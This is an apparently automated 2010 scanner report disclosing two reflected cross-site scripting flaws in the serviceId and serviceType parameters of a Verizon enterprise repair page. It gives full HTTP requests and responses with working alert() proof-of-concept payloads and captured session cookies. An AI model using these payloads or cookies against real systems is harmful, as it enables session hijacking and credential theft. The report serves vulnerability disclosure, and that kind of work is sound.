Report generated by XSS.CX at Fri Nov 19 21:20:55 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. https://enterprisecenter.verizon.com/enterprisesolutions/default/irepair/QuickTicketMainDispatch.do [serviceId parameter]

1.2. https://enterprisecenter.verizon.com/enterprisesolutions/default/irepair/QuickTicketMainDispatch.do [serviceType parameter]


1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://enterprisecenter.verizon.com/enterprisesolutions/default/irepair/QuickTicketMainDispatch.do [serviceId parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://enterprisecenter.verizon.com
Path:   /enterprisesolutions/default/irepair/QuickTicketMainDispatch.do

Issue detail

The value of the serviceId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ea0c'%3balert(1)//5fb68b88c27 was submitted in the serviceId parameter. This input was echoed as 1ea0c';alert(1)//5fb68b88c27 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

POST /enterprisesolutions/default/irepair/QuickTicketMainDispatch.do?route=evaluateServiceId HTTP/1.1
Host: enterprisecenter.verizon.com
Connection: keep-alive
Referer: https://enterprisecenter.verizon.com/enterprisesolutions/default/irepair/QuickTicketIdentify.do
Cache-Control: max-age=0
Origin: https://enterprisecenter.verizon.com
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RegistrationApp=SessionId=8d2315d0-c961-442f-b3ac-b606fe73e7e0; VZGEO=west; vzAppID=; V347=CT-2; LOB_CATEGORY=; Product=A; ProductXML=A; vzpers=STATE=TX; vzapps=STATE=TX; ED_SESSIONID=KxTbMnyP2zr9LhVwBk93rzd6dKK0TBqL2ZNYgJg4qC0TFgJwDMP5!2085112158!-2093491878; pref_lang=en-US; CustTrackPage=GHP; RecentlyVisitedOffers=fios_fiftv_dp,FiOS Double Play,69.99*/^; CP=null*; BusinessUnit=business
Content-Length: 481

serviceType=ANY&fVZTState=&route=validateService&state=&serviceId=1ea0c'%3balert(1)//5fb68b88c27&securityCheck=validated&state=&select=serialCircuit&textfield=&textfield=&textfield=&textfield=&textfield=&textfield=&textfield=&textfield=&textfield=&textfield=&fState=&textfield=&textfield=&textfie
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Content-Type: text/html;charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 02:16:05 GMT
Connection: keep-alive
Content-Length: 55599


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<li
...[SNIP]...
="hide";
       document.getElementById("linkShow").className="show";
       document.getElementById("linkHide").className="hide"
       
   }
   function ticketdata_func()
   {        
       ticket_data = 'Service_id: '+'1EA0C';ALERT(1)//5FB68B88C27';
       
       aims_setExtraCustomerInfo('EMTS_TICKET_INFO',ticket_data);
   }    

function MM_findObj(n, d) { //v4.01
var p,i,x;
if(!d)
d=document;
if((p=n.index
...[SNIP]...
1.2. https://enterprisecenter.verizon.com/enterprisesolutions/default/irepair/QuickTicketMainDispatch.do [serviceType parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://enterprisecenter.verizon.com
Path:   /enterprisesolutions/default/irepair/QuickTicketMainDispatch.do

Issue detail

The value of the serviceType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 248ca"><img%20src%3da%20onerror%3dalert(1)>b84734f6a04 was submitted in the serviceType parameter. This input was echoed as 248ca"><img src=a onerror=alert(1)>b84734f6a04 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

POST /enterprisesolutions/default/irepair/QuickTicketMainDispatch.do?route=evaluateServiceId HTTP/1.1
Host: enterprisecenter.verizon.com
Connection: keep-alive
Referer: https://enterprisecenter.verizon.com/enterprisesolutions/default/irepair/QuickTicketIdentify.do
Cache-Control: max-age=0
Origin: https://enterprisecenter.verizon.com
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RegistrationApp=SessionId=8d2315d0-c961-442f-b3ac-b606fe73e7e0; VZGEO=west; vzAppID=; V347=CT-2; LOB_CATEGORY=; Product=A; ProductXML=A; vzpers=STATE=TX; vzapps=STATE=TX; ED_SESSIONID=KxTbMnyP2zr9LhVwBk93rzd6dKK0TBqL2ZNYgJg4qC0TFgJwDMP5!2085112158!-2093491878; pref_lang=en-US; CustTrackPage=GHP; RecentlyVisitedOffers=fios_fiftv_dp,FiOS Double Play,69.99*/^; CP=null*; BusinessUnit=business
Content-Length: 481

serviceType=ANY248ca"><img%20src%3da%20onerror%3dalert(1)>b84734f6a04&fVZTState=&route=validateService&state=&serviceId=%27&securityCheck=validated&state=&select=serialCircuit&textfield=&textfield=&textfield=&textfield=&textfield=&textfield=&textfield=&textfield=&textf
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Content-Type: text/html;charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 02:14:12 GMT
Connection: keep-alive
Content-Length: 37554


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<li
...[SNIP]...
<input id = "savedServiceType" class="hide" value="ANY248ca"><img src=a onerror=alert(1)>b84734f6a04"/>
...[SNIP]...
Report generated by XSS.CX at Fri Nov 19 21:20:55 CST 2010.